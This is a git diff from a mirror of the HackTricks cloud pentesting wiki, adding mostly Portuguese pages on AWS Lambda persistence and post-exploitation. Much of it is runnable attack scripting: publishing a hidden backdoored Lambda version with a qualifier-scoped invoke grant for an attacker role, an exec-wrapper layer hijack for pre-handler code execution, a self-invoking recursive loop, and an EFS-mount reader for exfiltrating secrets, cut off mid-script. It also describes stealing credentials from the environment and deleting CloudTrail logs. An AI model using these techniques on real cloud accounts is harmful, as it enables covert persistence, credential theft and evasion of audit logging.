mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,64 +1,91 @@
|
||||
# AWS - Persistência do Lambda
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência da Camada do Lambda
|
||||
### Lambda Layer Persistence
|
||||
|
||||
É possível **introduzir/backdoor uma camada para executar código arbitrário** quando o lambda é executado de forma furtiva:
|
||||
É possível **introduzir/backdoor uma Layer para executar código arbitrário** quando a lambda é executada de forma furtiva:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência da Extensão do Lambda
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusando das Camadas do Lambda, também é possível abusar das extensões e persistir no lambda, mas também roubar e modificar solicitações.
|
||||
Abusando de Lambda Layers também é possível abusar de extensions e persistir no lambda, além de roubar e modificar requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via políticas de recursos
|
||||
### Via resource policies
|
||||
|
||||
É possível conceder acesso a diferentes ações do lambda (como invocar ou atualizar código) a contas externas:
|
||||
É possível conceder acesso a diferentes ações do lambda (como invoke ou update code) para contas externas:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versões, Aliases & Pesos
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Um Lambda pode ter **diferentes versões** (com código diferente em cada versão).\
|
||||
Então, você pode criar **diferentes aliases com diferentes versões** do lambda e definir pesos diferentes para cada um.\
|
||||
Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **versão 2 com apenas o código legítimo** e **executar apenas a versão 1 em 1%** das solicitações para permanecer furtivo.
|
||||
Uma Lambda pode ter **diferentes versões** (cada versão com código diferente).\
|
||||
Então, você pode criar **diferentes aliases com diferentes versões** da lambda e definir pesos diferentes para cada um.\
|
||||
Dessa forma um atacante poderia criar uma **backdoored version 1** e uma **version 2 com apenas o código legítimo** e **executar a version 1 em apenas 1%** das requisições para permanecer furtivo.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Backdoor de Versão + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copie o código original do Lambda
|
||||
2. **Crie uma nova versão com backdoor** no código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
|
||||
1. Chame o API gateway relacionado ao lambda para executar o código
|
||||
3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST.
|
||||
1. Isso ocultará o código com backdoor em uma versão anterior
|
||||
4. Vá para o API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão com backdoor do lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Observe o final :1 do arn **indicando a versão da função** (a versão 1 será a com backdoor neste cenário).
|
||||
5. Selecione o método POST criado e em Ações selecione **`Implantar API`**
|
||||
6. Agora, quando você **chamar a função via POST, seu Backdoor** será invocado
|
||||
1. Copie o código original da Lambda
|
||||
2. **Create a new version backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** para $LATEST
|
||||
1. Chame o API Gateway relacionado à lambda para executar o código
|
||||
3. **Crie uma nova versão com o código original**, Publique e implante essa **version** para $LATEST.
|
||||
1. Isso esconderá o código backdoored em uma versão anterior
|
||||
4. Vá ao API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão backdoored da lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Observe o final :1 do arn **indicando a versão da função** (version 1 será a backdoored neste cenário).
|
||||
5. Selecione o método POST criado e em Actions selecione **`Deploy API`**
|
||||
6. Agora, quando você **chamar a função via POST seu Backdoor** será invocado
|
||||
|
||||
### Ativador Cron/Event
|
||||
### Cron/Event actuator
|
||||
|
||||
O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando algum tempo passa** torna o lambda uma maneira agradável e comum de obter persistência e evitar detecção.\
|
||||
O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando passa algum tempo** torna o lambda uma forma comum e eficiente de obter persistência e evitar detecção.\
|
||||
Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**.
|
||||
|
||||
- Sempre que um novo usuário é criado, o lambda gera uma nova chave de usuário e a envia para o atacante.
|
||||
- Sempre que um novo papel é criado, o lambda concede permissões de assumir papel a usuários comprometidos.
|
||||
- Sempre que novos logs do cloudtrail são gerados, exclua/alterar eles.
|
||||
- Toda vez que um novo usuário for criado, a lambda gera uma nova chave de usuário e a envia ao atacante.
|
||||
- Toda vez que uma nova role for criada, a lambda concede permissões de assume role a usuários comprometidos.
|
||||
- Toda vez que novos logs do cloudtrail forem gerados, deletá-los/alterá-los
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um script wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a função de execução (function execution role) e por fim `exec`s o runtime real para que o handler original ainda seja executado normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse as asynchronous destinations do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a configuração de recursion para Allow os reativa. Destinations entregam no lado do serviço para invocações assíncronas, então um único invoke semente cria um canal stealthy, sem código, de heartbeat/backdoor. Opcionalmente faça throttle com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crie uma versão oculta da Lambda com lógica do atacante e aplique uma resource-based policy a essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` para um principal atacante. Invocações normais via o nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isso é mais furtivo do que expor uma Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Crie uma versão oculta do Lambda com lógica do atacante e aplique uma política baseada em recursos a essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via o nome da função ou alias principal permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isto é mais furtivo do que expor uma Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
## Permissões necessárias (atacante)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Passos do Ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar versão oculta, adicionar permissão com escopo por qualifier, invocar como atacante</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Concede uma backdoor furtiva para invocar uma versão oculta da função sem modificar o alias principal ou expor uma Function URL.
|
||||
- Limita a exposição apenas à versão/alias especificada via a resource-based policy `Qualifier`, reduzindo a superfície de detecção enquanto mantém uma invocação confiável para o attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abuse Lambda asynchronous Destinations together with the Recursion configuration para fazer uma função re-invocar-se continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, Lambda termina loops recursivos, mas definir a configuração Recursion para Allow reativa-os. Destinations entregam do lado do serviço para invocações async, então uma única invoke seed cria um canal stealthy, sem código, tipo heartbeat/backdoor. Opcionalmente, limite com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
Notas
|
||||
- Lambda não permite configurar a função para ser diretamente seu próprio destination. Use um function alias como destination e permita que o execution role invoque esse alias.
|
||||
- Permissões mínimas: habilidade para ler/atualizar o event invoke config e recursion config da função alvo, publicar uma version e gerenciar um alias, e atualizar a execution role policy da função para permitir lambda:InvokeFunction no alias.
|
||||
|
||||
## Requisitos
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Etapas
|
||||
|
||||
1) Obter o ARN da função e a configuração atual de Recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publicar uma versão e criar/atualizar um alias (usado como destino próprio)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Permitir que o papel de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configure o destino assíncrono para o alias (self via alias) e desative retries
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Permitir loops recursivos
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Disparar uma única invocação assíncrona
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Observe invocações contínuas (exemplos)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Opcional stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Limpeza
|
||||
Interrompa o loop e remova a persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impacto
|
||||
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um agendador externo, permitindo persistence/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper através de uma Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a role de execução da função e por fim faz `exec` no runtime real para que o handler original ainda execute normalmente.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica concede execução de código na Lambda alvo sem modificar seu código-fonte ou role e sem precisar de `iam:PassRole`. Você só precisa da capacidade de atualizar a configuração da função e publicar/anexar uma layer.
|
||||
|
||||
## Permissões Necessárias (atacante)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (or trigger via existing event)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
|
||||
|
||||
## Script do wrapper
|
||||
|
||||
Coloque o wrapper em `/opt/bin/htwrap` na layer. Ele pode executar lógica pré-handler e deve terminar com `exec "$@"` para encadear ao runtime real.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Etapas do ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar layer, anexar à função alvo, definir wrapper, invocar</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Execução de código pré-handler no contexto do runtime do Lambda usando a execution role existente da função.
|
||||
- Nenhuma alteração no código da função ou na execution role é necessária; funciona em runtimes gerenciados comuns (Python, Node.js, Java, .NET).
|
||||
- Permite persistence, credential access (por exemplo, STS), data exfiltration e runtime tampering antes do handler ser executado.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,35 +1,85 @@
|
||||
# AWS - Lambda Pós Exploração
|
||||
# AWS - Lambda Pós-Exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfiltrar Credenciais do Lambda
|
||||
### Exfiltrar credenciais do Lambda
|
||||
|
||||
O Lambda usa variáveis de ambiente para injetar credenciais em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), poderá usá-las. Elas estão nos nomes de variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa variáveis de ambiente para injetar credentials em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), pode usá-las. Elas ficam nas variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Por padrão, essas terão acesso para escrever em um grupo de logs do CloudWatch (o nome do qual está armazenado em `AWS_LAMBDA_LOG_GROUP_NAME`), bem como para criar grupos de logs arbitrários, no entanto, funções lambda frequentemente têm mais permissões atribuídas com base em seu uso pretendido.
|
||||
Por padrão, essas credenciais têm permissão para gravar em um cloudwatch log group (seu nome é armazenado em `AWS_LAMBDA_LOG_GROUP_NAME`), além de criar log groups arbitrários; entretanto, funções lambda frequentemente têm mais permissões atribuídas conforme seu uso pretendido.
|
||||
|
||||
### Roubar Requisições de URL de Outros Lambdas
|
||||
### Roubar solicitações de URL de outras Lambdas
|
||||
|
||||
Se um atacante conseguir de alguma forma obter RCE dentro de um Lambda, ele poderá roubar as requisições HTTP de outros usuários para o lambda. Se as requisições contiverem informações sensíveis (cookies, credenciais...), ele poderá roubá-las.
|
||||
Se um atacante de alguma forma obtiver RCE dentro de uma Lambda, ele poderá roubar requisições HTTP de outros usuários para essa lambda. Se as requisições contiverem informações sensíveis (cookies, credentials...) ele poderá exfiltrar esses dados.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Roubar Requisições de URL de Outros Lambdas & Requisições de Extensões
|
||||
### Roubar solicitações de URL de outras Lambdas & requisições de Extensions
|
||||
|
||||
Abusando de Camadas do Lambda, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
|
||||
Abusando de Lambda Layers também é possível abusar de extensions e persistir na lambda, além de roubar e modificar requisições.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Force uma função Lambda a sair de um VPC restrito atualizando sua configuração com um VpcConfig vazio (SubnetIds=[], SecurityGroupIds=[]). A função então rodará no plano de rede gerenciado pelo Lambda, recuperando acesso de saída à internet e contornando controles de egress aplicados por subnets privadas do VPC sem NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` para fixar uma função a uma versão específica de runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável para facilitar exploração e persistência de longo prazo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuse os controles avançados de logging de `lambda:UpdateFunctionConfiguration` para redirecionar os logs de uma função para um CloudWatch Logs log group escolhido pelo atacante. Isso funciona sem alterar código ou a execution role (a maioria das roles do Lambda já inclui `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Se a função imprimir secrets/request bodies ou travar com stack traces, você pode coletá-los do novo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Transforme um Lambda Function URL privado em um endpoint público não autenticado trocando o Function URL AuthType para NONE e anexando uma resource-based policy que concede lambda:InvokeFunctionUrl a todos. Isso permite invocação anônima de funções internas e pode expor operações backend sensíveis.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abuse `UpdateEventSourceMapping` para alterar a função Lambda alvo de um Event Source Mapping (ESM) existente, de modo que registros de DynamoDB Streams, Kinesis ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados ao vivo sem tocar nos produtores ou no código da função original.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection exfiltração de dados
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda e então deployar código trivial que liste/leia arquivos do caminho montado para exfiltrar secrets/config compartilhados que a função antes não podia acessar.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda, então deployar código trivial que lista/lê arquivos do caminho montado para exfiltrar segredos/configurações compartilhadas que a função anteriormente não conseguia acessar.
|
||||
|
||||
## Requirements
|
||||
- Permissions on the victim account/principal:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (to find functions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (to confirm mount targets exist)
|
||||
- Environment assumptions:
|
||||
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
|
||||
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
|
||||
|
||||
## Attack
|
||||
- Variables
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Anexar o EFS Access Point à Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Sobrescreva code com um leitor simples que lista arquivos e lê os primeiros 200 bytes de um arquivo candidato a secret/config
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
